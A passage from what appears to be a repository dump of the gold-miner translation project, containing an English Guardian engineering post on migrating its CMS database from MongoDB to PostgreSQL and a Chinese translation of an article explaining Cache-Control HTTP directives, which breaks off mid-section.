上复制他的逻辑。与设计团队的这种级别的合作是此次推出的一个特殊部分，并使开发流程非常高效。\n\n如果你有兴趣与我们在 Story 中合作，请查看我们的[职业页面](https://m.facebook.com/careers/teams/instagram/)，了解位于 Menlo Park，纽约和旧金山的职位。\n\nChristopher Wendel 和 Patrick Theisen 分别是 Instagram 的 iOS 和 Android 工程师。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/bye-bye-mongo-hello-postgres.md",
    "content": "> * 原文地址：[Bye bye Mongo, Hello Postgres](https://www.theguardian.com/info/2018/nov/30/bye-bye-mongo-hello-postgres)\n> * 原文作者：[Digital Blog](https://www.theguardian.com/info/series/digital-blog)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/bye-bye-mongo-hello-postgres.md](https://github.com/xitu/gold-miner/blob/master/TODO1/bye-bye-mongo-hello-postgres.md)\n> * 译者：\n> * 校对者：\n\n# Bye bye Mongo, Hello Postgres\n\nIn April the Guardian switched off the Mongo DB cluster used to store our content after completing a migration to PostgreSQL on Amazon RDS. This post covers why and how.\n\n![](https://i.guim.co.uk/img/media/4842b3009287b04d043eb1b627ee8fa5e6e77096/0_19_3817_2289/master/3817.jpg?width=700&quality=85&auto=format&fit=max&s=34792302523e2d3472d959b33b53d216)\n\n> An elephant picking up some greenery. Photograph: Michael Sohn/AP\n\nAt the Guardian, the majority of content – including articles, live blogs, galleries and video content – is produced in our in-house CMS tool, Composer. This, until recently, was backed by a Mongo DB database running on AWS. This database is essentially the “source of truth” for all Guardian content that has been published online – approximately 2.3m content items. We’ve just completed our migration away from Mongo to Postgres SQL.\n\nComposer, and its database, originally started their lives in Guardian Cloud – a data centre in the basement of our office near Kings Cross, with a failover elsewhere in London. Our failover procedures were put to the test rather harshly [one hot day in July 2015](https://www.theguardian.com/uk-news/live/2015/jul/01/heatwave-live-britain-hottest-day-2015)\n\n![Children play in the fountains outside the Hayward Gallery on the South Bank, London, enjoying the hot, sunny weather. Commissioned](https://i.guim.co.uk/img/media/48189c1117bb212716a843c9aceb74ef1387da1d/140_264_4547_2727/master/4547.jpg?width=620&quality=85&auto=format&fit=max&s=82b3f9f4d57f8858f201c01a80a8ff00)\n\n> Hot weather: good for fountain dancing, bad for data centres. Photograph: Sarah Lee/Guardian\n\nAfter this, the Guardian’s migration to AWS became that bit more urgent. We decided to purchase [OpsManager](https://www.mongodb.com/products/ops-manager) – Mongo’s database management software – along with a Mongo support contract – to help with the cloud migration. We used OpsManager to manage backups, handle orchestration and provide monitoring for our database cluster.\n\nDue to editorial requirements, we needed to run the database cluster and OpsManager on our own infrastructure in AWS rather than using Mongo’s managed database offering. This was non-trivial, as Mongo didn’t provide any tooling for getting set up easily on AWS – we needed to hand write the cloudformation to define all the infrastructure, and on top of that [we wrote hundreds of lines of ruby scripts](https://github.com/guardian/machine-images/tree/master/packer/resources/features/mongo24) to handle installation of monitoring/automation agents and orchestration of new DB instances. We ended up having to run knowledge sharing sessions about database management in the team – something we’d hoped OpsManager would make easy.\n\nSince migrating to AWS we’ve had two significant outages due to database problems, each preventing publication on theguardian.com for at least an hour. In both occasions neither OpsManager nor Mongo’s support agents were able to help us much, and we ended up solving the problem ourselves – in one case thanks to a [member of the team](https://github.com/sihil) picking up the phone from a desert on the outskirts of Abu Dhabi. Each of the issues could warrant a whole blog post in themselves, but the general take away points were:\n\n*   Clocks are important – don’t lock down your VPC so much that NTP stops working.\n*   Automatically generating database indexes on application startup is probably a bad idea.\n*   Database management is important and hard – and we’d rather not be doing it ourselves.\n\n![An array of clocks.](https://i.guim.co.uk/img/media/3f1ee5ce108720c858c673e56bfe19da53af8a50/0_130_5019_3011/master/5019.jpg?width=620&quality=85&auto=format&fit=max&s=734948fc0f19c86361bbc7ec262d2919)\n\n> When clocks get out of sync, networking becomes a nightmare. Photograph: Alamy Stock Photo\n\nOpsManager didn’t really deliver on its promise of hassle-free database management. For instance, actually managing OpsManager itself – in particular upgrading from OpsManager 1 to 2 – was very time consuming, and required specialist knowledge about our OpsManager setup. It also didn’t deliver on its “one-click upgrade” promise, due to changes in the authentication schema between different versions of Mongo DB. We lost at least two months of engineering time a year doing this database management work.\n\nAll of these problems, combined with the hefty annual fee we were paying for the support contract and OpsManager, left us looking for an alternative database option, with the following requirements:\n\n*   Minimal database management required.\n*   Encryption at rest supported.\n*   A feasible migration path from Mongo.\n\nSince all our other services are running in AWS, the obvious choice was DynamoDB – Amazon’s NoSQL database offering. Unfortunately at the time Dynamo didn’t support encryption at rest. After waiting around nine months for this feature to be added, we ended up giving up and looking for something else, ultimately choosing to use Postgres on AWS RDS.\n\n“But postgres isn’t a document store!” I hear you cry. Well, no, it isn’t, but it does have a JSONB column type, with support for indexes on fields within the JSON blob. We hoped that by using the JSONB type, we could migrate off Mongo onto Postgres with minimal changes to our data model. In addition, if we wanted to move to a more relational model in future we’d have that option. Another great thing about Postgres is how mature it is: every question we wanted to ask had in most cases already been answered on Stack Overflow.\n\nFrom a performance perspective, we were confident Postgres could cope – whilst Composer is a write-heavy tool (it writes to the database every time a journalist stops typing) – there are normally only a few hundred concurrent users – not exactly high performance computing!\n\n## Part two – two decades of content migrated, no downtime\n\n![Postgres takes a bite out of mongo](https://i.guim.co.uk/img/media/ddd421d5de76ec12d96b8d741db76810b0561933/0_164_4667_2802/master/4667.jpg?width=620&quality=85&auto=format&fit=max&s=007565fc723b5759bb73511396d35f1d)\n\n> Postgres takes a bite out of mongo. Photograph: Bernd Thissen/AFP/Getty Images\n\n## Plan\n\nMost database migrations involve the same steps and ours was no exception. Here are the steps we took to migrate the database:\n\n*   Create the new database.\n*   Create a way to write to the new database (new API).\n*   Create a proxy that sends traffic to both the old and the new database, using the old one as primary.\n*   Migrate records from the old database into the new.\n*   Make the new database the primary.\n*   Delete the old database.\n\nGiven that the database we were migrating powers our CMS, it was important the migration caused as little disruption as possible for our journalists. After all, the news never stops.\n\n## New API\n\nWork began on the new Postgres-powered API towards the end of July 2017. And so our journey begins. But to understand the journey we need to first understand where we started from.\n\nOur simplified CMS architecture was something like this: a database, an API, and several apps talking to it (such as the web frontend). The stack was, and still is, built using [Scala](https://www.scala-lang.org/), [Scalatra Framework](http://scalatra.org/) and [Angular.js](https://angularjs.org/) and it is about four years old.\n\nAfter some investigation we concluded that before we could migrate existing content, we needed a way to talk to the new PostgreSQL database and still have the old API running as usual. After all, the Mongo database is our source of truth. It offered us a safety blanket while experimenting with the new API.\n\nThis is one of the reasons why building on top of the old API wasn’t an option. There was very little separation of concern in the original API and MongoDB specifics could be found even at the controller level. As a result the task of adding another database type in the existing API was too risky.\n\nWe went down a different route instead and duplicated the old API. And this is how APIV2 was born. It was more or less an exact replica of the Mongo one and included the same endpoints and functionality. We used [doobie](https://tpolecat.github.io/doobie/), a pure functional JDBC layer for Scala, added [Docker](https://www.docker.com/) for running locally and testing, and improved logging and separation of concerns. APIV2 was going to be a fast and modern API.\n\nBy the end of August 2017 we had a new API deployed that was using PostgreSQL as its database. But this was only the beginning. There are articles in the Mongo database that were first created over two decades ago and all of these needed to be moved to the Postgres database.\n\n![Migrating to postgres for the winter](https://i.guim.co.uk/img/media/5c2a6f921775553760a8f2b4ca5249853aaf40dc/0_285_4272_2563/master/4272.jpg?width=620&quality=85&auto=format&fit=max&s=5d18d819818b87507a9e2a5435d83ff7)\n\n> Migrating to postgres for the winter. Photograph: Anna-Maria Fjellström\n\n## Migration\n\nWe need to be able to edit any article on the site regardless of when they were published, so all articles exist in our database as the single “source of truth”.\n\nAlthough all of the articles live in the Guardian’s [Content API](https://open-platform.theguardian.com/) (CAPI), which powers the apps and website, getting the migration right was key as our database is the ‘source of truth’. If anything were to happen to the CAPI’s Elasticsearch cluster then we would reindex it from Composer’s database.\n\nTherefore, before turning off Mongo we had to be confident that the same request on the Postgres powered API and the Mongo-powered API would return identical responses.\n\nTo do this we needed to copy all content to the new Postgres database. This was done using a script that talked directly to the old and new APIs. The advantage of doing it this way was that the APIs already provided a well tested interface for reading and writing articles to and from the databases, as opposed to writing something that accessed the relevant databases directly.\n\nThe basic flow for the migration was:\n\n*   Get content from Mongo.\n*   Post content to Postgres.\n*   Get content from Postgres.\n*   Check that the responses from one and three are identical\n\nA database migration has only really gone well if your end users are completely unaware that it has happened and a good migration script was always going to be an essential part of this.\n\nWith this in mind we needed a script that could:\n\n*   Make HTTP requests.\n*   Ensure that after migrating a piece of content, the response from both APIs matched.\n*   Stop if there was an error.\n*   Produce detailed logs to help diagnose issues.\n*   Restart from the correct point after an error.\n\nWe started off using [Ammonite](http://ammonite.io/). Ammonite allows you to write scripts in Scala, which is the primary language on our team. This was a good opportunity to experiment with something we’d not used before to see if it would be useful for us. Although Ammonite allowed us to use a familiar language there were downsides. Whilst Intellij now [supports Ammonite](https://blog.jetbrains.com/scala/2017/11/28/intellij-idea-scala-plugin-2017-3-lightbend-project-starter-ammonite-support-parallel-indexing-and-more/), at the time it did not, which meant we lost autocomplete and automatic imports. It was also not possible to run an Ammonite script for an extended period of time.\n\nUltimately Ammonite was not the right tool for the job and we used an sbt project instead to perform the migration. The approach we took allowed us to work in a language we were confident in and perform multiple ‘test migrations’ until we were confident to run it in production.\n\nWhat was unexpected was how useful this would be in testing the Postgres API. We found several subtle bugs and edge cases in the new API that we had not found before.\n\nFast forward to January 2018, and it was time to test a complete migration in CODE, our pre-production environment.\n\nSimilar to most of our systems, the only similarity between CODE and PROD is the version of the application they are running. The AWS infrastructure backing the CODE environment was far less powerful than PROD simply because it receives far less usage.\n\nRunning a migration on CODE would help us to:\n\n*   Estimate how long a migration on PROD would take.\n*   Assess what impact, if any, a migration would have on performance.\n\nIn order to get an accurate measurement of these metrics, we had to match the two environments. This involved restoring a backup of the PROD mongo database into CODE and updating the AWS backed infrastructure.\n\nMigrating just over 2m items of content was going to take a long time, certainly more than office hours. So we ran the script in a [screen sessio](https://en.wikipedia.org/wiki/GNU_Screen)n overnight.\n\nIn order to measure the progress of the migration, we shipped structured logs (using markers) to our ELK stack. From here, we could create detailed dashboards, tracking the number of articles successfully migrated, the number of failures and the overall progress. Additionally, these were displayed on a big screen near the team to provide greater visibility.\n\n![Dashboard showing progress of the migration](https://i.guim.co.uk/img/media/a0d724443096cfcc93f93006a950812ed4759e7d/0_71_3360_1533/master/3360.png?width=620&quality=85&auto=format&fit=max&s=64ef6e6c594496b9eedff0b3d673798c)\n\n> Dashboard showing progress of the migration Photograph: Editorial Tools/Guardian\n\nOnce the migration had finished, we employed the same techniques to check each document in Postgres matched Mongo.\n\n## Part three – Proxy and running in production\n\n![Mongo to Postgres migration: the proxy](https://i.guim.co.uk/img/media/44cb77a97c4dcdbcf58e736214f10306b2d8f4e8/0_265_2725_1635/master/2725.jpg?width=620&quality=85&auto=format&fit=max&s=0c222865335377156900df04dbb0632b)\n\n> Mongo to Postgres migration: the proxy. Photograph: Maria Livia Chiorean\n\n## Proxy\n\nNow that the new Postgres-powered API was running we needed to test it with real life traffic and data access patterns to ensure it was reliable and stable. There were two possible ways to achieve this: update each client that talks to the Mongo API to talk to both APIs; or run a proxy that’ll do this. We wrote a proxy in Scala using [Akka Streams](https://doc.akka.io/docs/akka/2.5/stream/index.html).\n\nThe proxy was fairly simple in its operation:\n\n*   Accept traffic from a load balancer.\n*   Forward the traffic to the primary api and return.\n*   Asynchronously forward the same traffic to the secondary api.\n*   Calculate any difference between the two responses and log them.\n\nAt the start, the proxy was logging a lot of differences between the responses of the two APIs, surfacing some very subtle but important behavioural differences in the APIs that needed to be fixed.\n\n## Structured logging\n\nThe way we do logging at the Guardian is by using an [ELK](https://www.elastic.co/elk-stack) stack. Using Kibana gave us the flexibility to surface logs in a way that would be most useful to us. Kibana uses the [lucene query syntax](https://www.elastic.co/guide/en/elasticsearch/reference/6.x/query-dsl-query-string-query.html#query-string-syntax) that is fairly easy to learn. But we soon realised that filtering out logs or grouping them was not possible in the current setup. For example, we weren’t able to filter out logs sent as a result of GET requests.\n\nOur solution was to send more structured logs to Kibana rather than sending only a message. One log entry contains multiple fields, like the timestamp, the name of the app that sent the log or the stack. Adding new fields programmatically is very easy. These structured fields are called markers and they can be implemented using the [logstash-logback-encoder](https://github.com/logstash/logstash-logback-encoder) library. For each request we extracted the useful information (eg path, method, status code) and created a map with the additional information we needed to log. Have a look at the example below.\n\n```\nimport akka.http.scaladsl.model.HttpRequest\nimport ch.qos.logback.classic.{Logger => LogbackLogger}\nimport net.logstash.logback.marker.Markers\nimport org.slf4j.{LoggerFactory, Logger => SLFLogger}\n\nimport scala.collection.JavaConverters._\n\nobject Logging {\n val rootLogger: LogbackLogger = LoggerFactory.getLogger(SLFLogger.ROOT_LOGGER_NAME).asInstanceOf[LogbackLogger]\n\n private def setMarkers(request: HttpRequest) = {\n   val markers = Map(\n     \"path\" -> request.uri.path.toString(),\n     \"method\" -> request.method.value\n   )\n   Markers.appendEntries(markers.asJava)\n }\n\n def infoWithMarkers(message: String, akkaRequest: HttpRequest) =\n   rootLogger.info(setMarkers(akkaRequest), message)\n}\n```\n\nThe additional structure in our logs allowed us to build useful dashboards and add more context around our diffs, which helped us identify some of the smaller inconsistencies between the APIs.\n\n## Replicating traffic and proxy refactoring\n\nHaving migrated content into the CODE database we ended up with an almost exact replica of the PROD database. The major difference was CODE had no traffic. For replicating real traffic into the CODE environment we used an open-source tool called [GoReplay](https://goreplay.org/) (gor). It’s very easy to set up and it’s customisable to suit your requirements.\n\nAs all traffic coming into our APIs was hitting the proxy first it made sense to install gor on the proxy boxes. See below how to download gor on your box and how to start capturing traffic on port 80 and send it to another server.\n\n```\nwget https://github.com/buger/goreplay/releases/download/v0.16.0.2/gor_0.16.0_x64.tar.gz\n\ntar -xzf gor_0.16.0_x64.tar.gz gor\n\nsudo gor --input-raw :80 --output-http http://apiv2.code.co.uk\n```\n\nEverything worked fine for a while, but very soon we experienced an outage on production when the proxy became unavailable for a couple of minutes. Upon investigation we found all three boxes on which the proxy was running cycled at the same time. Our suspicion was that gor was using too many resources and was causing the proxy to fall over. On further investigation we found in the AWS Console that the boxes had been regularly cycling, but not at the same time.\n\nBefore going any deeper, we tried to find a way to still run gor, but this time without putting any more pressure on the proxy. The solution came from our secondary stack for Composer. This stack is only used in case of emergency and it has our [production monitoring tool](https://www.theguardian.com/info/developer-blog/2016/dec/05/testing-in-production-how-we-combined-tests-with-monitoring) constantly running tests against it. Replaying traffic from this stack to CODE at double the speed worked without any issues this time.\n\nThe new findings raised a lot of questions. The proxy had been built with the idea that it would only exist temporarily, so it perhaps hadn’t been as carefully designed as other apps. Also, it was built using [Akka Http](https://doc.akka.io/docs/akka-http/current/), which none of the team members had used before. The code was messy and full of quick fixes. We decided to start a big refactoring job to improve readability that included using for comprehensions instead of the growing nested logic we had before, and adding even more logging markers.\n\nWe were hoping that by taking time to understand how everything worked and by simplifying the logic we’d be able to stop the boxes from cycling. But this didn’t work. After about two weeks of trying to make the proxy more reliable we were starting to feel like we were falling deeper and deeper down a rabbit hole. A decision had to be made. We agreed to take the risk and leave it as it was better to spend the time on the actual migration than trying to fix a piece of software that was going to be gone in a month’s time. We paid for this decision by going through two more production outages, each lasting about two minutes, but overall it was the right thing to do.\n\nFast forward to March 2018 and we had now finished migrating CODE, with no detrimental impact on performance of the API or user experience in the CMS. We could now start to think about decommissioning the proxy in CODE.\n\nThe first stage of this was to change the priorities of the APIs, so that the proxy talked to Postgres first. As previously mentioned this was configuration based. However there was one complexity.\n\nComposer sends messages on a Kinesis stream when a document has been updated. In order to avoid message duplication, only one API should send these messages. The APIs have a flag in configuration for this; the value was true for the Mongo backed API and false for the Postgres backed one. Simply changing the proxy to talk to Postgres first wasn’t enough as the message wouldn’t get sent on the Kinesis stream until the request reached Mongo too. This was too late.\n\nTo solve this, we created HTTP endpoints to change the config in memory across all instances in the load balancer instantaneously. This allowed us to very quickly switch which API was primary without needing to edit a config file and redeploy. Additionally, this could be scripted, reducing human interaction and error.\n\nNow all requests were going to Postgres first and API2 was talking to Kinesis, the change could be made permanent via config and a redeploy.\n\nThe next stage was to remove the proxy entirely and get clients to solely talk to the Postgres API. As there are numerous clients, updating each of them individually wasn’t really viable. Therefore, we pushed this up to the DNS. That is, we created a CNAME in DNS that, at first, pointed to the proxy’s ELB and would change to point to the API ELB. This allowed a single change to be made rather than updating each individual client of the API.\n\nIt was now time to migrate PROD. Although slightly scary because, well, it’s production. The process was relatively simple as everything was based on configuration. Additionally, as we add a stage marker to the logs, it was also possible to repurpose the previously built dashboards simply by updating the Kibana filter.\n\n## Switching off the proxy and MongoDB\n\nTen months and 2.4m migrated articles later, we were finally in a position to switch off all the Mongo related infrastructure. But first, the moment we’d all been waiting for: kill the proxy.\n\n![Logs showing the scaling down of the Flexible API Proxy](https://i.guim.co.uk/img/media/53bfd0107a6d069ac575513ed3f6b0ccb0db0597/0_0_2250_1350/master/2250.png?width=620&quality=85&auto=format&fit=max&s=03f5458f464dcf483bcde224ccc0b970)\n\n> Logs showing the scaling down of the Flexible API Proxy. Photograph: Editorial Tools/Guardian\n\nThis small piece of software caused us so many issues we couldn’t wait to turn it off! All we needed to do was update the CNAME record to point directly at the APIV2 load balancer.\n\nThe team gathered around one computer. The switch was one click away. No one was breathing anymore. Complete silence. Click! And the change was out. Nothing broke! We all relaxed.\n\nUnexpectedly, deleting the old MongoDB API was another challenge. While frantically deleting old code we found that our integration tests have never been changed to use the new API. Everything turned red quickly. Fortunately, most of the issues were configuration related and therefore easy to fix. But there were a couple of issues with the PostgreSQL queries that were caught by the tests. Trying to think of things we could have done to avoid this error, we realised that when starting a big piece of work you also have to accept that you’re going to make mistakes.\n\nEverything that came afterwards worked smoothly. We detached all the Mongo instances from OpsManager and then terminated them. The only thing left to do was celebrate. And get some sleep.\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/cache-control-for-civilians.md",
    "content": "> * 原文地址：[Cache-Control for Civilians](https://csswizardry.com/2019/03/cache-control-for-civilians/)\n> * 原文作者：[Harry](https://csswizardry.com/about/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/cache-control-for-civilians.md](https://github.com/xitu/gold-miner/blob/master/TODO1/cache-control-for-civilians.md)\n> * 译者：[sunui](https://github.com/sunui)\n> * 校对者：[portandbridge](https://github.com/portandbridge)、[yzw7489757](https://github.com/yzw7489757)\n\n# 写给大家看的 Cache-Control 指令配置\n\n最好的网络请求就是无须与服务器通信的请求：在网站速度为王的比试里，避免网络完胜于使用网络。为此，使用一个可靠的缓存策略会给你的访客带来完全不同的体验。\n\n话虽如此，在工作中我越来越频繁地看到很多实践机会被无意识地错过，甚至完全忽视做缓存这件事。大概是因为过度聚焦于首次访问，也可能单纯是因为意识和知识的匮乏。不管是为什么，我们有必要做一点相关知识的复习。\n\n## `Cache-Control`\n\n管理静态资源缓存最常见且有效的方式之一就是使用 `Cache-Control` HTTP 报头。这个报头独立应用于每一个资源，这意味着我们页面中的一切都可以拥有一个非常定制化、颗粒化的缓存政策。我们由此可以得到大量的控制权，得以制定异常复杂而强大的缓存策略。\n\n一个 `Cache-Control` 报头可能是这样的：\n\n```\nCache-Control: public, max-age=31536000\n```\n\n`Cache-Control` 就是报头字段名，`public` 和 `max-age=31536000` 是**指令**。`Cache-Control` 报头可以接受一个或多个指令，我在本文中想要讲的正是这些指令的真正含义和他们的最佳使用场景。\n\n## `public` 和 `private`\n\n`public` 意味着包括 CDN、代理服务器之类的任何缓存都可以存储响应的副本。`public` 指令经常是冗余的，因为其他指令的存在（例如 `max-age`）已经隐式表示响应是可以缓存的。\n\n相比之下，`private` 是一个显式指令，表示只有响应的最终接收方（客户端或浏览器）可以缓存文件。虽然 `private` 本身并不具备安全功能，但它意在有效防止公共缓存（如 cdn）存储包含用户个人信息的响应。\n\n## `max-age`\n\n`max-age` 定义了一个确保响应被视为“新鲜”的时间单位（相对于请求时间，以秒计）。\n\n```\nCache-Control: max-age=60\n```\n\n可在接下来的 60 秒缓存和重用响应。\n\n这个 `Cache-Control` 报头告诉浏览器可以在接下来的 60 秒内从缓存中使用这个文件而不必担心是否需要重新验证。60 秒后，浏览器将回访服务器以重新验证该文件。\n\n如果有了一个新文件供浏览器下载，服务器会返回 `200`，浏览器下载新文件，旧文件也会从 HTTP 缓存中被剔除，新的文件会接替它，并应用新缓存报头。\n\n如果并没有新的副本供下载，服务器会返回 `304`，不需要下载新文件，使用新的报头来更新缓存副本。也就是说如果 `Cache-Control: max-age=60` 报头依然存在，缓存文件的 60 秒会重新开始。这个文件的总缓存时间是 120 秒。\n\n**注意**：`max-age` 本身有一个巨坑，它告诉浏览器相关资源已经过期，但没有告诉这个过期版本绝对不能使用。浏览器可能使用它自己的机制来决定是否在不经验证的情况下释放文件的过期副本。这种行为有些不确定性，想确切知道浏览器会怎么做有点困难。为此，我们有一系列更为明确的指令，用来增强 `max-age`，感谢 [Andy Davies](https://twitter.com/AndyDavies) 帮我澄清了这一点。\n\n### `s-maxage`\n\n`s-maxage`（注意 `max` 和 `age` 之间没有 `-`）会覆盖 `max-age` 指令，但只在公共缓存中生效。`max-age` 和 `s-maxage` 结合使用可以让你针对私有缓存和公共缓存（例如代理、CDN）分别设定不同的刷新时间。\n\n## `no-store`\n\n```\nCache-Control: no-store\n```\n\n如果我们不想缓存文件呢？如果文件包含敏感信息怎么办？比如一个包含你银行账户信息的 HTML 页面，或者是有时效性的信息？再或者是个包含实时股价的页面？我们根本不想从缓存中存储或释放响应：我们想要的是丢掉敏感信息，获取最新的实时信息。这时候我们需要使用 `no-store`。\n\n`no-store` 是一个非常高优先级的指令，表示不会将任何信息持久化到任何缓存中，无论是私有与否。任何带有 `no-store` 指令的资源都将始终命中网络，没有例外。\n\n## `no-cache`\n\n```\nCache-Control: no-cache\n```\n\n这点多数人都会困惑... `no-cache` 并不意味着 “no cache”。它意味着“在你和服务器验证过并且服务器告诉你可以使用缓存的副本之前，你`不`能使用`缓存`中的副本”。没错，听起来应该叫 `must-revalidate`！不过其实也没听起来这么简单。\n\n事实上 `no-cache` 一个可以确保内容最新鲜的非常智能的方式，同时也可以尽可能使用更快的缓存副本。`no-cache` 总是会命中网络，因为在释放浏览器的缓存副本（除非服务器的响应的文件已更新）之前，它必须与服务器重新验证，不过如果服务器响应允许使用缓存副本，网络只会传输文件报头：文件主体可以从缓存中获取，而不必重新下载。\n\n所以如我所言，这是一个兼顾文件新鲜度与从缓存中获取文件可能性的智能方式，缺点是它至少会为了一个 HTTP 报头响应而触发网络。\n\n`no-cache` 一个很好的使用场景就是动态 HTML 页面获取。想想一个新闻网站的首页：既不是实时的，也不包含任何敏感信息，但理想情况下我们希望页面始终显示最新的内容。我们可以使用 `cache-control: no-cache` 来让浏览器首先回访服务器检查，如果服务器没有更新鲜的内容提供（`304`），那我们就重用缓存的版本。如果服务器有更新鲜的内容，它会返回（`200`）并且发送最新的文件。\n\n提示：`max-age` 指令和 `no-cache` 指令一起发送是没用的，因为重新验证的时间限制是零秒。\n\n## `must-revalidate`\n\n更令人困惑的是，虽然上一个指令说应该叫 `must-revalidate`，但事实上 `must-revalidate` 依然是不同的东西。（这次更类似一些）\n\n```\nCache-Control: must-revalidate, max-age=600\n```\n\n`must-revalidate` 需要一个关联的 `max-age` 指令；上文我们把它设置为 10 分钟。\n\n如果说 `no-cache` 会立即向服务器验证，经过允许后才能使用缓存的副本，那么 `must-revalidate` 更像是一个具有宽期限的 `no-cache`。情况是这样的，在最初的十分钟浏览器**不会**（我知道，我知道...）向服务器重新验证，但是就在十分钟过去的那一刻，它又到服务器去请求，如果服务器没什么新东西，它会返回 `304` 并且新的 `Cache-Control` 报头应用于缓存的文件 —— 我们的十分钟再次开始。如果十分钟后服务器上有了一个新的文件，我们会得到 `200` 的响应和它的报文，那么本地缓存就会被更新。\n\n`must-revalidate` 一个很适合的场景就是博客（比如我这个博客）：静态页面很少更改。当然，最新的内容是可以获取的，但考虑到我的网站很少更改，我们不需要 `no-cache` 这么下重手的东西。相反，我们会假设在十分钟内一切都好，之后再重新验证。\n\n### `proxy-revalidate`\n\n和 `s-maxage` 一脉相承，`proxy-revalidate` 是公共缓存版的 `must-revalidate`。它被私有缓存简单地忽略掉了。\n\n## `immutable`\n\n`immutable` 是一个非常新而且整洁的指令，它可以把更多有关我们所送出文件类型的信息告知浏览器 —— 文件内容是可变或者不可变吗？了解 `immutable` 是什么之前，我们先看看它要解决什么问题：\n\n用户刷新会导致浏览器强制验证一个文件而不论文件新鲜与否，因为用户刷新往往意味着发生了这两件事之一：\n\n1. 页面崩溃之类的；\n2. 内容看起来已经过期了...\n\n...所以我们要检查一下服务器上是否有更加新鲜的内容。\n\n如果服务器上有一个更新鲜的内容可用，我们当然想下载它。这样我们将得到一个 `200` 响应，一个新文件，并且 —— 希望是 —— 问题已经修复了。而如果服务器上没有新文件，我们将返回 `304` 报头，没有新文件，只有整个往返请求的延迟。如果我们重新验证了大量文件且都返回 `304`，这会增加数百毫秒的不必要开销。\n\n`immutable` 就是一种告诉浏览器一个文件永远都不会改变的方法 —— 它是**不可变的** —— 因此不要再费心重新验证它。我们可以完全减去造成延迟的往返开销。那我们说的一个可变或不可变的文件是什么意思呢？\n\n- `style.css`：当我们更改文件内容时，我们不会更改其名称。这个文件始终存在，其内容始终可以更改。这个文件就是可变的。\n- `style.ae3f66.css`：这个文件是唯一的 —— 它的命名携带了基于文件内容的指纹，所以每当文件修改我们都会得到一个全新的文件。这个文件就是不可变的。\n\n我们会在 [Cache Busting](https://csswizardry.com/2019/03/cache-control-for-civilians/#cache-busting) 部分详细讨论这个问题。\n\n如果我们能够以某种方式告诉浏览器我们的文件是不可变的 —— 文件内容永远不会改变 —— 那么我们也可以让浏览器知道它不必检查更新版本：永远不会有新的版本，因为一旦内容改变，它就不存在了。\n\n这正是 `immutable` 指令所做的事情：\n\n```\nCache-Control: max-age=31536000, immutable\n```\n\n在支持 `immutable` 的浏览器中，只要没超过 31,536,000 秒的新鲜寿命，用户刷新也不会造成重新验证。这意味着避免了响应 `304` 的往返请求，这可能会节约我们在关键路径上（[CSS blocks rendering](https://csswizardry.com/2018/11/css-and-network-performance/)）的大量延迟。在高延迟的场景里，这种节约是可感知的。\n\n注意：千万不要给任何非不可变文件应用 `immutable`。你还应该有一个非常周全的缓存破坏策略，以防无意中将不可变文件强缓存。\n\n## `stale-while-revalidate`\n\n我真的真的希望 `stale-while-revalidate` 能获得更好的支持。\n\n关于重新验证我们已经讲了很多了：浏览器启程返回服务器以检查是否有新文件可用的过程。在高延迟的场景里，重新验证的过程是可以被感知的，并且在服务器回应我们可以发布一个缓存的副本（`304`）或者下载一个新文件（`200`）之前，这段时间简直就是死时间。\n\n`stale-while-revalidate` 提供的是一个宽限期（由我们设定），当我们检查新版本时，允许浏览器在这段宽限期期间使用过期的（旧的）资源。\n\n```\nCache-Control: max-age=31536000, stale-while-revalidate=86400\n```\n\n这就告诉浏览器，“这个文件还可以用一年，但一年过后，额外给你一天你可以继续使用旧资源，直到你在后台重新验证了它”。\n\n对于非关键资源来说 `stale-while-revalidate` 是一个很棒的指令，我们当然想要更新鲜的版本，但我们知道在我们检查更新的时候，如果我们依然使用旧资源不会有任何问题。\n\n## `stale-if-error`\n\n和 `stale-while-revalidate` 类似的方式，如果重新验证资源时返回了 `5xx` 之类的错误，`stale-if-error` 会给浏览器一个使用旧的响应的宽限期。\n\n```\nCache-Control: max-age=2419200, stale-if-error=86400\n```\n\n这里我们让缓存的有效期为 28 天（2,419,200 秒），过后如果我们遇到内部错误就额外提供一天（86,400 秒），此间允许访问旧版本资源。\n\n## `no-transform`\n\n`no-transform` 